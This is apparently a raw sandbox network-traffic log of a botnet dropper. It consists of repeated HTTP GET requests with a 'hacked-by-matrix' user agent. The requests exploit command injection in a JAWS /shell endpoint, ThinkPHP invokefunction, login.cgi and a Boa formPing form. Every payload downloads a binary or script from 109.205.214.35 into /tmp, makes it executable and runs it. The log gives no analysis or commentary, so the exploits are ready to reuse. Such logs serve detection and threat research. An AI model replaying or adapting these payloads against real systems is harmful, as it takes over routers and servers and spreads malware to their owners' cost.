Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
